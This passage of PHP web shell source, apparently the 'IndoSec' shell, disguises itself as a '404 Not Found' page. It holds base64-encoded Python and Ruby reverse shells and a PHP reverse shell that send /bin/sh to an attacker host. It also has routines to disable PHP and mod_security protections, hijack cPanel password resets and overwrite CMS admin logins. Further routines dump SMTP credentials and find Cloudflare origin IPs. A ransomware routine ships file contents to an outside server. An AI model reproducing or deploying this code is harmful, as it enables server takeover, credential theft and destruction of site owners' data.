base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk="); $pbcaa = @fopen('bcpyt.py','w'); fwrite($pbcaa,$becaa); $out1 = exe("python bcpyt.py ".$_POST['server']." ".$_POST['port']); sleep(1); echo "<pre class='text-light'>$out1\n".exe("ps aux | grep bcpyt.py")."</pre>"; unlink("bcpyt.py"); } if($_POST['backconnect'] == 'ruby'){ $becaak = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); $pbcaak = @fopen('bcruby.rb','w'); fwrite($pbcaak,$becaak); $out2 = exe("ruby bcruby.rb ".$_POST['server']." ".$_POST['port']); sleep(1); echo "<pre class='text-light'>$out2\n".exe("ps aux | grep bcruby.rb")."</pre>"; unlink("bcruby.rb"); } if($_POST['backconnect'] == 'php'){ $ip = $_POST['server']; $port = $_POST['port']; $sockfd = fsockopen($ip , $port , $errno, $errstr ); if($errno != 0){ echo "<font color='red'>$errno : $errstr</font>"; }else if (!$sockfd){ $result = "<p>Unexpected error has occured, connection may have failed.</p>"; }else{ fputs ($sockfd ," \n{#######################################} \n..:: BackConnect PHP By Con7ext ::.. \n{#######################################}\n"); $dir = @shell_exec("pwd"); $sysinfo = @shell_exec("uname -a"); $time = @Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n"); while(!feof($sockfd)){ $cmdPrompt = '[kuda]#:> '; @fputs ($sockfd , $cmdPrompt ); $command= fgets($sockfd, $len); @fputs($sockfd , "\n" . @shell_exec($command) . "\n\n"); } @fclose($sockfd); } } exit; } function disabFunc($dir,$file){ echo "<div class='card card-body text-center text-dark'> <h4 class='text-center mt-2 mb-3'>Bypass Disable Functions</h2> <form method='POST'> <input type='submit' class='btn btn-danger' name='ini' value='php.ini'/> <input type='submit' class='btn btn-danger' name='htce' value='.htaccess'/> <input type='submit' class='btn btn-danger' name='litini' value='Litespeed'/> </form>"; if(isset($_POST['ini'])){ $file = fopen("php.ini","w"); echo fwrite($file,"safe_mode = OFF\ndisable_functions = NONE"); fclose($file); echo "<a href='php.ini' class='btn btn-success btn-block' target='_blank'>Klik Lul!</a>"; }elseif(isset($_POST['htce'])){ $file = fopen(".htaccess","w"); echo fwrite($file,"<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>"); fclose($file); echo "<p>.htaccess successfully created!</p>"; }elseif(isset($_POST['litini'])){ $iniph = "PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg=="; $byph = "safe_mode = OFF\ndisable_functions = NONE"; $comp = "<Files *.php>\nForceType application/x-httpd-php4\n</Files>"; file_put_contents("php.ini",$byph); file_put_contents("ini.php",$iniph); file_put_contents(".htaccess",$comp); $swa = "success"; $text = "Disable Functions in Litespeed Created"; swall($swa,$text,$dir); } echo "</div>"; } function resetCp($dir){ echo '<h5 class="text-center mb-4"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5> <form method="POST"> <div class="form-group input-group"> <div class="input-group-prepend"> <div class="input-group-text"><i class="fa fa-envelope"></i></div> </div> <input type="email" name="email" class="form-control" placeholder="Masukan Email..."/> </div> <input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/> </div> </form>'; if(isset($_POST['submit'])){ $user = get_current_user(); $site = $_SERVER['HTTP_HOST']; $ips = getenv('REMOTE_ADDR'); $email = $_POST['email']; $wr = 'email:'.$email; $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w'); @fwrite($f, $wr); @fclose($f); $f = fopen('/home/'.$user.'/.contactinfo', 'w'); @fwrite($f, $wr); @fclose($f); $parm = $site.':2082/resetpass?start=1'; echo '<br/>Url: '.$parm.''; echo '<br/>Username: '.$user.''; echo '<br/>Success Reset To: '.$email.'<br/><br/>'; } exit; } function autoEdit($dir,$file){ if($_POST['hajar']){ if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6){ echo "Username dan Password harus lebih dari 6 karakter"; }else{ $user_baru = $_POST['user_baru']; $pass_baru = md5($_POST['pass_baru']); $conf = $_POST['config_dir']; $scan_conf = scandir($conf); foreach($scan_conf as $file_conf){ if(!is_file("$conf/$file_conf")) continue; $config = file_get_contents("$conf/$file_conf"); if(preg_match("/JConfig|joomla/",$config)){ $dbhost = ambilkata($config,"host = '","'"); $dbuser = ambilkata($config,"user = '","'"); $dbpass = ambilkata($config,"password = '","'"); $dbname = ambilkata($config,"db = '","'"); $dbprefix = ambilkata($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = ambilkata($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); echo "Config => ".$file_conf."<br>"; echo "CMS => Joomla<br>"; if($site == ''){ echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>"; }else{ echo "Sitename => $site<br>"; } if(!$update OR !$conn OR !$db){ echo "Status => <font color=red>".mysql_error()."</font><br><br>"; }else{ echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($conn); }elseif(preg_match("/WordPress/",$config)){ $dbhost = ambilkata($config,"DB_HOST', '","'"); $dbuser = ambilkata($config,"DB_USER', '","'"); $dbpass = ambilkata($config,"DB_PASSWORD', '","'"); $dbname = ambilkata($config,"DB_NAME', '","'"); $dbprefix = ambilkata($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == ''){ $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; }else{ $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>"; } $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); echo "Config => ".$file_conf."<br>"; echo "CMS => Wordpress<br>"; echo $url_target; if(!$update OR !$conn OR !$db){ echo "Status => <font color=red>".mysql_error()."</font><br><br>"; }else{ echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($conn); }elseif(preg_match("/Magento|Mage_Core/",$config)){ $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>"); $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>"); $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>"); $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>"); $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>"); $prefix = $dbprefix."admin_user"; $option = $dbprefix."core_config_data"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); $result2 = mysql_fetch_array($q2); $target = $result2[value]; if($target == ''){ $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; }else{ $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "Config => ".$file_conf."<br>"; echo "CMS => Magento<br>"; echo $url_target; if(!$update OR !$conn OR !$db){ echo "Status => <font color=red>".mysql_error()."</font><br><br>"; }else{ echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($conn); }elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)){ $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'"); $dbuser = ambilkata($config,"'DB_USERNAME', '","'"); $dbpass = ambilkata($config,"'DB_PASSWORD', '","'"); $dbname = ambilkata($config,"'DB_DATABASE', '","'"); $dbprefix = ambilkata($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = ambilkata($config,"HTTP_SERVER', '","'"); if($target == ''){ $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; }else{ $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "Config => ".$file_conf."<br>"; echo "CMS => OpenCart<br>"; echo $url_target; if(!$update OR !$conn OR !$db){ echo "Status => <font color=red>".mysql_error()."</font><br><br>"; }else{ echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($conn); }elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)){ $dbhost = ambilkata($config,'server = "','"'); $dbuser = ambilkata($config,'username = "','"'); $dbpass = ambilkata($config,'password = "','"'); $dbname = ambilkata($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == ''){ $target2 = $result[url]; $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; if($target2 == ''){ $url_target2 = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; }else{ $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)){ $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>"; }elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)){ $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>"; }else{ $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } } }else{ $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)){ $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>"; }elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)){ $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>"; }else{ $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); echo "Config => ".$file_conf."<br>"; echo "CMS => Lokomedia<br>"; if(preg_match('/Error, Tidak dapat mengambil nama domainnya/', $url_target)){ echo $url_target2; }else{ echo $url_target; } if(!$update OR !$conn OR !$db){ echo "Status => <font color=red>".mysql_error()."</font><br><br>"; }else{ echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($conn); } } } }else{ echo "<h3 class='text-center mb-4'>Auto Edit User</h3> <form method='post'> <h5>Lokasi Dir Config</h5> <input type='text' class='form-control mb-3' name='config_dir' value='$dir'> <h5>Set User & Pass :</h5> <input type='text' name='user_baru' value='indosec' class='form-control mb-3' placeholder='Set Username'> <input type='text' name='pass_baru' value='indosec' class='form-control mb-4' placeholder='Set Password'> <input type='submit' name='hajar' value='Edit User' class='btn btn-danger btn-block'> </form> <p class='text-muted mb-4'>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</p>"; } exit; } function ransom($dir,$file){ if(isset($_POST["encrypt"])) { $dir = $_POST["path"]; echo"<textarea class='form-control mb-4' rows='13' disabled=''>"; function listFolderFiles($dir){ if (is_dir($dir)) { $ffs = scandir($dir); unset($ffs[array_search('.', $ffs, true)]); unset($ffs[array_search('..', $ffs, true)]); if (count($ffs) < 1) return; foreach($ffs as $ff){ $files = $dir."/".$ff; if(!is_dir($files)){ /* encrypt file */ $file = file_get_contents($files); $_a = base64_encode($file); /* proses curl */ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://encrypt.indsc.me/api.php?type=encrypt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "text=$_a"); $x = json_decode(curl_exec($ch)); if($x->status == 'success'){ $_enc = base64_decode($x->data); rename($files, $files. ".indsc"); echo "[+]$files => Success Encrypted\n"; } } if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff); } $index = file_get_contents('https://pastebin.com/raw/aGZ6BeTH'); $_o = fopen($dir."/index.html", "w"); fwrite($_o, $index); fclose($_o); echo "\n[+] Done !"; }else{ echo "\nBukan dir"; } } listFolderFiles($dir); echo "</textarea><br/>"; }else{ echo '<form method="post"> <div class="form-group"> <h4 class="text-center mb-4"><i class="fa fa-lock"></i> Ransomware</h4> <label>Pilih Directory :</label> <div class="form-group input-group"> <div class="input-group-prepend"> <div class="input-group-text"><i class="fa fa-home"></i></div> </div> <input type="text" name="path" class="form-control" value="'.$dir.'"/> </div> <input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/> </div> </form>'; } exit; } function scj($dir){ $dirs = scandir($dir); foreach($dirs as $dirb){ if(!is_file("$dir/$dirb")) continue; $ambil = file_get_contents("$dir/$dirb"); $ambil = str_replace("$", "", $ambil); if(preg_match("/JConfig|joomla/", $ambil)){ $smtp_host = ambilkata($ambil,"smtphost = '","'"); $smtp_auth = ambilkata($ambil,"smtpauth = '","'"); $smtp_user = ambilkata($ambil,"smtpuser = '","'"); $smtp_pass = ambilkata($ambil,"smtppass = '","'"); $smtp_port = ambilkata($ambil,"smtpport = '","'"); $smtp_secure = ambilkata($ambil,"smtpsecure = '","'"); echo "<table class='text-white table table-bordered'> <tr> <td>SMTP Host: $smtp_host</td> </tr> <tr> <td>SMTP Port: $smtp_port</td> </tr> <tr> <td>SMTP User: $smtp_user</td> </tr> <tr> <td>SMTP Pass: $smtp_pass</td> </tr> <tr> <td>SMTP Auth: $smtp_auth</td> </tr> <tr> <td>SMTP Secure: $smtp_secure</td> </tr> </table>"; } } echo "<p class='text-muted'>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>"; exit; } function bypasscf(){ echo '<form method="POST"> <h5 class="text-center mb-3">Bypass Cloud Flare</h5> <div class="form-group input-group"> <select class="form-control" name="idsPilih"> <option>Pilih Metode</option> <option>ftp</option> <option>direct-conntect</option> <option>webmail</option> <option>cpanel</option> </select> </div> <div class="form-group input-group mb-4"> <input class="form-control" type="text" name="target" placeholder="Masukan Url"> <input class="btn btn-danger form-control" type="submit" value="Bypass"> </div> </form>'; $target = $_POST['target']; if($_POST['idsPilih'] == "ftp"){ $ftp = gethostbyname("ftp."."$target"); echo "<p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>$ftp</font></p>"; } if($_POST['idsPilih'] == "direct-conntect"){ $direct = gethostbyname("direct-connect."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>$direct</font></p>"; } if($_POST['idsPilih'] == "webmail"){ $web = gethostbyname("webmail."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>$web</font></p>"; } if($_POST['idsPilih'] == "cpanel"){ $cpanel = gethostbyname("cpanel."."$target"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>$cpanel</font></p>"; } exit; } function zipMenu($dir,$file){ //Compress/Zip $exzip = basename($dir).'.zip'; function Zip($source, $destination){ if (extension_loaded('zip') === true){ if (file_exists($source) === true){ $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) === true){ $source = realpath($source); if (is_dir($source) === true){ $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file){ $file = realpath($file); if (is_dir($file) === true){ // $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); }elseif(is_file($file) === true){ $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } }elseif(is_file($source) === true){ $zip->addFromString(basename($source), file_get_contents($source)); } } return @$zip->close(); } } return false; } //Extract/Unzip function Zip_Extrack($zip_files, $to_dir){ $zip = new ZipArchive(); $res = $zip->open($zip_files); if ($res === TRUE){ $name = basename($zip_files, ".zip")."_unzip"; @mkdir($name); @$zip->extractTo($to_dir."/".$name); return @$zip->close(); }else{ return false; } } echo '<div class="card card-body text-dark mb-4"> <h4 class="text-center">Zip Menu</h3> <form enctype="multipart/form-data" method="post"> <div class="form-group"> <label>Zip File:</label> <div class="custom-file"> <input type="file" name="zip_file" class="custom-file-input" id="customFile"> <label class="custom-file-label" for="customFile">Choose file</label> </div> <input type="submit" name="upnun" class="btn btn-danger btn-block mt-3" value="Upload & Unzip"/> </div> </form>'; if($_POST["upnun"]){ $filename = $_FILES["zip_file"]["name"]; $tmp = $_FILES["zip_file"]["tmp_name"]; if(move_uploaded_file($tmp, "$dir/$filename")){ echo Zip_Extrack($filename, $dir); unlink($filename); $swa = "success"; $text = "Berhasil Mengekstrak Zip"; swall($swa,$text,$dir); }else{ echo "<b>Gagal!</b>"; } } echo "<div class='row'><div class='col-md-6 mb-3'><h5>Zip Backup</h5> <form method='post'> <label>Folder</label> <input type='text' name='folder' class='form-control mb-3' value='$dir'> <input type='submit' name='backup' class='btn btn-danger btn-block' value='Backup!'> </form>"; if($_POST['backup']){ $fol = $_POST['folder']; if(Zip($fol, $_POST["folder"].'/'.$exzip)){ $swa = "success"; $text = "Berhasil Membuat Zip"; swall($swa,$text,$dir); }else{ echo "<b>Gagal!</b>"; } } echo "</div> <div class='col-md-6'><h5>Unzip Manual</h5> <form action='' method='post'> <label>Zip Location:</label> <input type='text' name='file_zip' class='form-control mb-3' value='$dir/$exzip'> <input type='submit' name='extrak' class='btn btn-danger btn-block' value='Unzip!'> </form>"; if($_POST['extrak']){ $zip = $_POST["file_zip"]; if (Zip_Extrack($zip, $dir)){ $swa = "success"; $text = "Berhasil Mengekstrak Zip"; swall($swa,$text,$dir); }else{ echo "<b>Gagal!</b>"; } } echo '</div></div></div>'; } ?> <html> <head> <meta name="viewport" content="widht=device-widht, initial-scale=1"/> <meta name="theme-color" content="#343a40"/> <meta name="author" content="LulNazi"/> <meta name="copyright" content="{ IndoSec }"/> <link rel="icon" type="image/png" href="https://www.holiq.projectku.ga/indosec.png"/> <title>404 Not Found</title> <link rel="stylesheet" href="pojan/assets/css/bootstrap.min.css"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/> <script src="https://code.jquery.com/jquery-3.3.1.js"></script> <script 